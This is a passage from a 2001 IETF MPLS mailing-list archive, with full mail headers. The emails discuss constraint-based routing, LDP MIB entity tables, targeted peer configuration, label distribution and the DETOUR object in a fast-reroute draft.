Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllfg04908
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 03:05:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllfg23825
	for <mpls@uu.net>; Thu, 18 Oct 2001 03:04:14 GMT
Received: from wrimailserver.wri.com.cn by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.103.38.61])
	id QQllfg01862
	for <mpls@uu.net>; Thu, 18 Oct 2001 03:04:14 GMT
Received: from a02 ([10.18.2.106]) by wrimailserver.wri.com.cn with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 18 Oct 2001 11:00:10 +0800
Date: Thu, 18 Oct 2001 11:2:24 +0800
From: ward <ward@wri.com.cn>
Reply-To: ward@wri.com.cn
To: "chzhan@wri.com.cn" <chzhan@wri.com.cn>,
        "'MPLS UUNET Mailing List'" <mpls@UU.NET>
Subject: RE: Constraint Based Routing
Organization: Fiberhomenetworks
X-mailer: FoxMail 4.0 beta 2 [cn]
Mime-Version: 1.0
Content-Type: text/plain;
      charset="GB2312"
Message-ID: <WRIMAILSERVERwHsTpY00001f77@wrimailserver.wri.com.cn>
X-OriginalArrivalTime: 18 Oct 2001 03:00:10.0734 (UTC) FILETIME=[001C58E0:01C15781]
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by ietf.org id XAA13325

Rajesh:

-> 	Can anyone explain me what exactly is "Constraint-Based 
-> Routing" (CBR) ?

   You will find more info if you search the web (or list achieves).
   But in a crude way, if you type source and destination address 
   in www.mapquest.com you get different paths 
       - shortest path
       - fastest path
       - avoid highways etc etc :)
   The same fundamentals work out here in routing/switching IP
   datagrams. You will be given certain link/node/path constraints
   in the topology and you need to optimize and get the "best"
   path to route/switch.
 
-> 	Please correct me if I am wrong. I feel that RSVP-TE, 
-> CR-LDP, CSPF (the
-> protocols like RSVP, LDP and OSPF) having extension for 
-> Traffice-Engineering
-> can synomously used for "CBR" since the constraint are 
-> specified while
-> setting up the LSP.
->
-> 	Also, please give a list of protocols which needs to be 
-> extended for "CBR".

   This is the place where I am little bit inconvenient. As an
   evolving beneficial technology, MPLS didn't extend any of the
   existing routing protocols (OSPF and ISIS) to do CSPF. 
   If a border conversion router running OSPF and ISIS which are 
   distributing topologies and helping signaling protocols to 
   find out "Traffic engineered" paths, Can you think of how 
   many (C)SPF algo's the LSR running? In any case, RFCs 2386 and
   2676 will be some help for you.
   
   Routing protocols, OSPF & ISIS are extended (still extending)
   to include traffic engineering information. Signaling protocols, 
   RSVP-TE and CR-LDP, are used to setup constrained paths.
   Apart from this, you should implement your own topology
   data base and CSPF. (no standards are required for this)
  
   I request Kireeti to include an informational appendix on
   CSPF algo, in the forth coming draft-kompella-te-pathcomp-00
   to the benefit of the community (just like appendix B&C in
   RFC 2676 :) - if he doesn't mind!

--Venkata Naidu


From owner-mpls@UU.NET  Thu Oct 18 01:22:33 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA16039
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 01:22:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllfp17061;
	Thu, 18 Oct 2001 05:22:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllfp02303
	for mpls-outgoing; Thu, 18 Oct 2001 05:21:25 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllfp02294
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 05:21:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllfp02066
	for <mpls@uu.net>; Thu, 18 Oct 2001 05:21:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllfp15922
	for <mpls@uu.net>; Thu, 18 Oct 2001 05:21:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id BAA16358 for <mpls@uu.net>; Thu, 18 Oct 2001 01:21:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id BAA09097 for mpls@uu.net; Thu, 18 Oct 2001 01:21:02 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllfp02166
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 05:19:56 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllfp20460
	for <mpls@UU.NET>; Thu, 18 Oct 2001 05:19:54 GMT
Received: from ganesh.ctd.hctech.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.2])
	id QQllfp03078
	for <mpls@UU.NET>; Thu, 18 Oct 2001 05:20:10 GMT
Received: by GANESH with Internet Mail Service (5.5.2653.19)
	id <VD864YR8>; Thu, 18 Oct 2001 11:17:57 +0530
Message-ID: <D11B30C7348BD511A40700010283497B1EF23C@GAYATRI>
From: "Vijayanand C - CTD, Chennai." <vijayc@ctd.hcltech.com>
To: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>,
        "'Joan Cucchiara'"
	 <jcucchia@crescentnetworks.com>
Cc: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@crescentnetworks.com, jluciani@crescentnetworks.com,
        hans@ipunplugged.com
Subject: RE: mplsLdpEntityTable
Date: Thu, 18 Oct 2001 10:47:59 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello,
I like to add one more point to this.

If we have sessions through targetted peers then we need to configure an
entity for each session. But why do we need a separate entity for each of
the other sessions. At the time of bringing up LDP with an entity for basic
discovery the number of peers are generally not known and it will be too
much to expect the operator to know this. The peer discovery of LDP has to
discover the peers and establish sessions with them. If we need to have a
one to one between entity and peer then in this case, after each peer is
discovered by the entity a new entity needs to be established for handling
the peer! To think of assigning a new LSRID for each Entity is misleading as
LSRID was supposed to identify the LSR.  Instead, why can't one to many
relationship between entity and peer-session be maintained. Each session can
have different label distribution modes, depending on the negotiation with
the peer. This will be possible because the session is indexed by local
LSRID,Entity Index and Peer LSRID.  The original entity distribution modes
can remain unaltered in the entity and used for further discovery and
session initiation. 

Please correct me if I am wrong

Regards,
Vijay

-----Original Message-----
From: Tiruveedhula, Kishore [mailto:kishore@tenornetworks.com]
Sent: Thursday, October 18, 2001 3:49 AM
To: 'Joan Cucchiara'
Cc: Srinivas T M; mpls@UU.NET; jcucchiara@crescentnetworks.com;
jluciani@crescentnetworks.com; hans@ipunplugged.com
Subject: RE: mplsLdpEntityTable


Hi Joan,
 
>>      The entry in the entity table is indexed by both mplsEntityLdpIds
and
>> mplsLdpEntityIndex.
>>        Can't we create two entries with same mplsEntityLdpIds with
different
>> mplsLdpEntityIndex in the Entity Table to support both DOD and DU
sessions
>> using per platform label space on a LSR with same LSR id ?
>>  mplsLdpEntityIndex  is used to uniquely identify row in the
>> mplsLdpEntityTable. I think we can have two or more entries with same
>> mplsEntityLdpIds with different mplsLdpEntityIndex. Is this correct ?

>This is not a viable solution to the problem -- 

Why this is not a viable solution to this problem ? Is there any specific
reason ?

Even for each targeted peer configuration, one entry need to be created for
each targeted peer in the entity table
with same mplsEntityLdpIds with different mplsLdpEntityIndex in which
session created by extended discovery method. 

> you will still have only
>one LSRID and that implies that one session will be capable of both
>DOD and DU which is not possible with LDP.
>
>   Thanks, Joan

Thanks,
Kishore





***********************************************************************
Disclaimer: 
This document is intended for transmission to the named recipient only.  If
you are not that person, you should note that legal rights reside in this
document and you are not authorized to access, read, disclose, copy, use or
otherwise deal with it and any such actions are prohibited and may be
unlawful. The views expressed in this document are not necessarily those of
HCL Technologies Ltd. Notice is hereby given that no representation,
contract or other binding obligation shall be created by this e-mail, which
must be interpreted accordingly. Any representations, contractual rights or
obligations shall be separately communicated in writing and signed in the
original by a duly authorized officer of the relevant company.
***********************************************************************




From owner-mpls@UU.NET  Thu Oct 18 01:38:27 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA17214
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 01:38:27 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllfq14335;
	Thu, 18 Oct 2001 05:37:51 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllfq03398
	for mpls-outgoing; Thu, 18 Oct 2001 05:37:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllfq03389
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 05:37:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllfq27594
	for <mpls@uu.net>; Thu, 18 Oct 2001 05:35:43 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQllfq10932
	for <mpls@uu.net>; Thu, 18 Oct 2001 05:35:58 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.29.236])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9I5Zga29030
	for <mpls@uu.net>; Thu, 18 Oct 2001 11:05:42 +0530 (IST)
Received: from alcatel-gw.wipinfo.soft.net ([192.168.220.200])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GLDZJ700.F0O for <mpls@uu.net>; Thu, 18 Oct 2001 11:05:32 +0530 
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203]) by alcatel-gw.wipinfo.soft.net (8.7.5/8.9.3) with ESMTP id LAA29561 for <mpls@uu.net>; Thu, 18 Oct 2001 11:06:30 +0530
Date: Thu, 18 Oct 2001 11:08:59 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: <mpls@UU.NET>
Subject: Incoming port info for path setup.....
Message-ID: <Pine.LNX.4.31.0110181034480.6955-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi *,
	Wanted some clarification regarding the LSP setup on FR networks
using LDP or CR_LDP. Context is with respect to a pure Transit LSR.
	For each path request I get, I can find out which of my
interfaces(logical ports) going towards the next hop can satisfy the traffic
requirements and create a "Virtual Circuit End Point" over that point. For
the path to be complete I have to create a similar endpoint on one of the
incoming ports and establish a cross connect b/w them. Now the problem is
I don't know on which of my incoming interfaces(connected to the upstream
peer) the actual traffic would come. This could be due to either I am
using a per platform label space or the entity may comprise of multiple
data plane interfaces. This data plane port information is not exchanged along with
any of the path setup messages of the protocol(something like LPORT TLV
in the Request or mapping message..;))
	This may more sound like an implementation problem and it may be.
What I doubt is, I may be missing something in the RFC.
	Also I think this aspect of determining the incoming interface is
not just confined FR networks, it is a general case wherever we have
multiple interfaces b/w a pair of LSRs.

regards
Bhushana



From owner-mpls@UU.NET  Thu Oct 18 01:48:34 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA17634
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 01:48:34 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllfr20044;
	Thu, 18 Oct 2001 05:47:43 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllfr04120
	for mpls-outgoing; Thu, 18 Oct 2001 05:47:36 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllfr04110
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 05:47:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllfr23854
	for <mpls@UU.NET>; Thu, 18 Oct 2001 05:47:28 GMT
Received: from web14706.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14706.mail.yahoo.com [216.136.224.123])
	id QQllfr02009
	for <mpls@UU.NET>; Thu, 18 Oct 2001 05:47:45 GMT
Message-ID: <20011018054728.31636.qmail@web14706.mail.yahoo.com>
Received: from [203.200.15.20] by web14706.mail.yahoo.com via HTTP; Wed, 17 Oct 2001 22:47:28 PDT
Date: Wed, 17 Oct 2001 22:47:28 -0700 (PDT)
From: pradeep n <nmnpradeep@yahoo.com>
Subject: Regarding MPLS Label
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello *,
	Wanted more details how the labels are assigned,
Label Distribution. How LSE/LSR forwarding table is
built.

Pradeep



__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Thu Oct 18 01:52:03 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA17876
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 01:52:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllfr10097;
	Thu, 18 Oct 2001 05:51:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllfr04332
	for mpls-outgoing; Thu, 18 Oct 2001 05:50:56 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllfr04311
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 05:50:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllfr11247
	for <mpls@UU.NET>; Thu, 18 Oct 2001 05:50:35 GMT
From: suchauhan@hss.hns.com
Received: from hindon.hss.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQllfr08252
	for <mpls@UU.NET>; Thu, 18 Oct 2001 05:50:50 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f9I5pfG26144;
	Thu, 18 Oct 2001 11:21:41 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256AE9.00203867 ; Thu, 18 Oct 2001 11:21:55 +0530
X-Lotus-FromDomain: HSS
To: pradeep n <nmnpradeep@yahoo.com>
cc: mpls@UU.NET
Message-ID: <65256AE9.002036A2.00@sandesh.hss.hns.com>
Date: Thu, 18 Oct 2001 11:21:50 +0530
Subject: Re: Regarding MPLS Label
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



hello *.*,

     please first try and read RFC 3036.

ciao
sumit




pradeep n <nmnpradeep@yahoo.com> on 10/18/2001 11:17:28 AM

To:   mpls@UU.NET
cc:    (bcc: Sumit Chauhan/HSS)

Subject:  Regarding MPLS Label




Hello *,
     Wanted more details how the labels are assigned,
Label Distribution. How LSE/LSR forwarding table is
built.

Pradeep



__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com






From owner-mpls@UU.NET  Thu Oct 18 02:09:51 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA26986
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 02:09:50 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllfs05407;
	Thu, 18 Oct 2001 06:08:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllfs24659
	for mpls-outgoing; Thu, 18 Oct 2001 06:08:31 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllfs24654
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 06:08:29 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllfs00793
	for <mpls@uu.net>; Thu, 18 Oct 2001 06:07:46 GMT
Received: from wiprom2mx1.wipro.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQllfs02184
	for <mpls@uu.net>; Thu, 18 Oct 2001 06:07:36 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.29.236])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9I67la05509
	for <mpls@uu.net>; Thu, 18 Oct 2001 11:37:47 +0530 (IST)
Received: from alcatel-gw.wipinfo.soft.net ([192.168.220.200])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GLE10P00.I2O for <mpls@uu.net>; Thu, 18 Oct 2001 11:37:37 +0530 
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203]) by alcatel-gw.wipinfo.soft.net (8.7.5/8.9.3) with ESMTP id LAA30709 for <mpls@uu.net>; Thu, 18 Oct 2001 11:38:36 +0530
Date: Thu, 18 Oct 2001 11:41:05 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: <mpls@UU.NET>
Subject: Control mode in LDP mib
Message-ID: <Pine.LNX.4.31.0110181133120.6955-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
	I have a doubt regarding the control mode information. I don't see
this information being maintained in any of the tables in the LDP
mib(entity table or as a global scalar).
However this is one of the configured parameters for a LDP stack. So how
do we go about? if I want to configure my whole stack throgh a subagent?

thanks in advance
Bhushana




From owner-mpls@UU.NET  Thu Oct 18 04:45:12 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA02462
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 04:45:12 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllgc22598;
	Thu, 18 Oct 2001 08:42:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllgc14723
	for mpls-outgoing; Thu, 18 Oct 2001 08:41:37 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllgc14715
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 08:41:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllgc05071
	for <mpls@uu.net>; Thu, 18 Oct 2001 08:41:24 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQllgc10650
	for <mpls@uu.net>; Thu, 18 Oct 2001 08:41:40 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.29.236])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9I8fPa04213
	for <mpls@uu.net>; Thu, 18 Oct 2001 14:11:26 +0530 (IST)
Received: from alcatel-gw.wipinfo.soft.net ([192.168.220.200])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GLE84S00.T9D for <mpls@uu.net>; Thu, 18 Oct 2001 14:11:16 +0530 
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203]) by alcatel-gw.wipinfo.soft.net (8.7.5/8.9.3) with ESMTP id OAA12939 for <mpls@uu.net>; Thu, 18 Oct 2001 14:12:14 +0530
Date: Thu, 18 Oct 2001 14:14:43 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: <mpls@UU.NET>
Subject: targeted peer configuration in LDP...
Message-ID: <Pine.LNX.4.31.0110181348060.6955-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hello,
	Good 'AfterNoon/Evening/Morning' to all. Section "2.4.2. Extended
Discovery Mechanism" of RFC 3036 says

"To engage in LDP Extended Discovery an LSR periodically sends LDP
   Targeted Hellos to a specific address." -- so this means that it has to
be configured on the LSR.

similarly it says --
"	One LSR initiates Extended Discovery with another targeted LSR,
         and the targeted LSR decides whether to respond to or ignore
         the Targeted Hello." -- so the acceptable targets are also
configured on an LSR.

but the entity Table in the LSR Mib has only one element called
"targeted peer address".

so does this field correspond to both the above configurations of "address
to which I should send the targeted hello and the address from which I can
accept a targeted connection"?

If not then to which of them? and what about the other one?
Also how do I configure more than one targeted peer for an entity through
the LDP MIB?

regards
Bhushana



From owner-mpls@UU.NET  Thu Oct 18 05:15:01 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA02824
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 05:15:00 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllge19956;
	Thu, 18 Oct 2001 09:02:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllge25721
	for mpls-outgoing; Thu, 18 Oct 2001 09:02:11 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllge25469
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 09:02:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllge07292
	for <mpls@uu.net>; Thu, 18 Oct 2001 09:01:21 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQllge20244
	for <mpls@uu.net>; Thu, 18 Oct 2001 09:01:37 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9I91Hg01089
	for <mpls@uu.net>; Thu, 18 Oct 2001 11:01:17 +0200 (MET DST)
To: mpls@UU.NET
Subject: draft-gan-fast-reroute
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OFB173B158.7C31EE09-ONC1256AE9.0030DB8C@net.alcatel.be>
Date: Thu, 18 Oct 2001 11:01:14 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/18/2001 11:01:17,
	Serialize complete at 10/18/2001 11:01:17
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 00318D37C1256AE9_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_alternative 00318D37C1256AE9_=
Content-Type: text/plain; charset="us-ascii"

Hello,

What is the use of having the DETOUR object in <draft-gan-fast-reroute>? Let me clarify (see drawing below).

When node 2 establishes the detour to node 4, it sends a PATH message to 
node 4. This PATH message contains the ERO of the detour [node 2 - node 
4]. Since node 2 has calculated this ERO to avoid the downstream router 
(node 3), what is then the use of having the DETOUR object in this PATH 
message? If it serves no purpose, why not just remove it?

        Node1 ====> Node2 ======> Node3 =====> Node4 ======> node 5
                       v                       ^
                       |                       |
                       +-----------------------+


         Francis.
--=_alternative 00318D37C1256AE9_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2><tt>Hello,<br>
</tt></font>
<br><font size=2 face="sans-serif">What is the use of having the DETOUR object in </font><font size=1 face="sans-serif">&lt;draft-gan-fast-reroute</font><font size=2 face="sans-serif">&gt;? </font><font size=2><tt>Let me clarify (see drawing below).</tt></font>
<br>
<br><font size=2><tt>When node 2 establishes the detour to node 4, it sends a PATH message to node 4. This PATH message contains the ERO of the detour [node 2 - node 4]. Since node 2 has calculated this ERO to avoid the downstream router (node 3), what is then the use of having the DETOUR object in this PATH message? If it serves no purpose, why not just remove it?<br>
</tt></font>
<br><font size=2><tt>&nbsp; &nbsp; &nbsp; &nbsp; Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; node 5<br>
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^<br>
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br>
 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +-----------------------+<br>
<br>
</tt></font>
<br><font size=2><tt>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Francis.</tt></font>
--=_alternative 00318D37C1256AE9_=--


From owner-mpls@UU.NET  Thu Oct 18 09:50:58 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09871
	for <mpls-archive@lists.ietf.org>; Thu, 18 Oct 2001 09:50:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllgx09559;
	Thu, 18 Oct 2001 13:48:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllgx14626
	for mpls-outgoing; Thu, 18 Oct 2001 13:47:51 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllgx14619
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 18 Oct 2001 13:47:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
